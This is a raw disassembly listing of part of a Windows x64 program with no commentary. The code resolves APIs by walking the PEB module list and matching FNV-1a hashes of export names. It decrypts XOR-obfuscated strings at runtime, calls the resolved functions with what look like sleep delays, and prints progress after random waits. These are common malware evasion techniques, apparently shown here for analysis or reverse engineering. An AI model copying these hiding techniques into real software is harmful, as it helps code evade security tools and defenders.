call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0x9b0]
call fcn.140003520
mov dword [rbp + 0x7a8], 0x1388
mov dword [rbp + 0x7ac], 0x2710
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x7a8]
call fcn.140001db0
mov ebx, eax
test eax, eax
jle 0x14001567c
mov qword [rbp - 0x80], 0x384
lea rcx, [rbp - 0x80]
call fcn.140002c70
movzx ecx, word [0x140085528]
mov word [rsp + 0x54], cx
cmp byte [0x140085529], r15b
je 0x14001562f
mov byte [rsp + 0x54], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x55], 0x33
lea rdx, [rsp + 0x54]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x140015661
test ebx, ebx
jg 0x140015607
lea rdx, [0x140002c10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
test ebx, ebx
jg 0x140015607
mov eax, dword [0x14008552c]
mov dword [rsp + 0x74], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015711
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400156f0
cmp r8d, 0x491e0a9c
je 0x14001571b
test r9d, r9d
jne 0x1400156d0
mov rax, qword [rax]
jmp 0x1400156a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x1400157c5
movdqa xmm3, xmmword [0x1400859c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140085c60]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140085c60]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400859e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ba0]
movd xmm0, dword [rsp + 0x74]
xorps xmm2, xmm0
movd dword [rsp + 0x74], xmm2
jmp 0x1400157ff
lea r9, [rsp + 0x74]
mov r8d, r15d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x1400157d0
lea rcx, [rsp + 0x74]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015896
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015896
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015891
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015870
cmp r8d, 0x2fa62ca8
je 0x14001589b
test r9d, r9d
jne 0x140015850
mov rax, qword [rax]
jmp 0x140015820
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f4
call rdx
movups xmm0, xmmword [0x140085530]
movups xmmword [rbp - 0x30], xmm0
mov eax, dword [0x140085540]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x140085544]
mov byte [rbp - 0x1c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015961
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015940
cmp r8d, 0xe76fb4aa
je 0x14001596b
test r9d, r9d
jne 0x140015920
mov rax, qword [rax]
jmp 0x1400158f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140015ad3
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400159d0
cmp r8d, 0x15
jge 0x140015b10
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140015ae0
lea rcx, [rbp - 0x30]
call r11
mov eax, dword [0x140085548]
mov dword [rsp + 0x5c], eax
movzx eax, word [0x14008554c]
mov word [rsp + 0x60], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14008554e]
mov byte [rsp + 0x5c], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x5d], 0x33
xor byte [rsp + 0x5e], 0x34
xor byte [rsp + 0x5f], 0x35
xor byte [rsp + 0x60], 0x36
xor byte [rsp + 0x61], 0x37
xor al, 0x38
mov byte [rsp + 0x62], al
lea rdx, [rsp + 0x5c]
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015c06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015c06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015c01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015be0
cmp r8d, 0x2fa62ca8
je 0x140015c0b
test r9d, r9d
jne 0x140015bc0
mov rax, qword [rax]
jmp 0x140015b90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [0x140085550]
mov dword [rsp + 0x78], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015cc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015cc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015cc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015ca0
cmp r8d, 0x491e0a9c
je 0x140015ccb
test r9d, r9d
jne 0x140015c80
mov rax, qword [rax]
jmp 0x140015c50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140015d75
movdqa xmm3, xmmword [0x1400859c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140085c60]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140085c60]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400859e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ba0]
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
jmp 0x140015daf
lea r9, [rsp + 0x78]
mov r8d, r15d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x140015d80
lea rcx, [rsp + 0x78]
call r11
movups xmm0, xmmword [0x140085558]
movups xmmword [rbp - 0x18], xmm0
mov eax, dword [0x140085568]
mov dword [rbp - 8], eax
movzx eax, byte [0x14008556c]
mov byte [rbp - 4], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015e66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015e66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015e61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015e40
cmp r8d, 0xe76fb4aa
je 0x140015e6b
test r9d, r9d
jne 0x140015e20
mov rax, qword [rax]
jmp 0x140015df0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140015fd3
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x14]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015ed0
cmp r8d, 0x15
jge 0x140016010
movsxd rax, r8d
lea r9, [rbp - 0x18]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140015fe0
lea rcx, [rbp - 0x18]
call r11
movups xmm0, xmmword [0x140085570]
movups xmmword [rbp - 0x50], xmm0
movzx eax, byte [0x140085588]
movsd xmm0, qword [str.0__:_J]
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x38], al
movsd qword [rbp - 0x40], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140016193
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x4c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140016090
cmp r8d, 0x19
jge 0x1400161d0
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400161a0
lea rdx, [rbp - 0x50]
mov rcx, r10
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0x1d40]
call fcn.140003520
mov dword [rbp + 0x7a0], 0x9c4
mov dword [rbp + 0x7a4], 0xfa0
lea rdx, [rbp + 0x1d40]
lea rcx, [rbp + 0x7a0]
call fcn.140001db0
mov ebx, eax
test eax, eax
jle 0x1400162ac
mov qword [rbp - 0x80], 0x384
lea rcx, [rbp - 0x80]
call fcn.140002c70
movzx ecx, word [0x14008558c]
mov word [rsp + 0x58], cx
cmp byte [0x14008558d], r15b
je 0x14001625f
mov byte [rsp + 0x58], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x59], 0x33
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x140016291
test ebx, ebx
jg 0x140016237
lea rdx, [0x140002c10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
test ebx, ebx
jg 0x140016237
mov eax, dword [0x140085590]
mov dword [rsp + 0x7c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016346
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016346
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016341
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016320
cmp r8d, 0x491e0a9c
je 0x14001634b
test r9d, r9d
jne 0x140016300
mov rax, qword [rax]
jmp 0x1400162d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x1400163f5
movdqa xmm3, xmmword [0x1400859c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140085c60]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140085c60]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400859e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ba0]
movd xmm0, dword [rsp + 0x7c]
xorps xmm2, xmm0
movd dword [rsp + 0x7c], xmm2
jmp 0x14001642f
lea r9, [rsp + 0x7c]
mov r8d, r15d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x140016400
lea rcx, [rsp + 0x7c]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400164c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400164c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400164c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400164a0
cmp r8d, 0x2fa62ca8
je 0x1400164cb
test r9d, r9d
jne 0x140016480
mov rax, qword [rax]
jmp 0x140016450
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f4
call rdx
lea rdx, [0x14000fe60]
lea rcx, [rbp + 0x178]
call fcn.1400015c0
nop
mov rcx, rax
call fcn.1400097b0
nop
cmp dword [rbp + 0x180], 0
jne 0x14001cd78
movups xmm0, xmmword [0x140085598]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400855a8]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x1400855ac]
mov byte [rbp + 0x14], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400165c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400165c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400165c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400165a0
cmp r8d, 0xe76fb4aa
je 0x1400165cb
test r9d, r9d
jne 0x140016580
mov rax, qword [rax]
jmp 0x140016550
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140016733
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
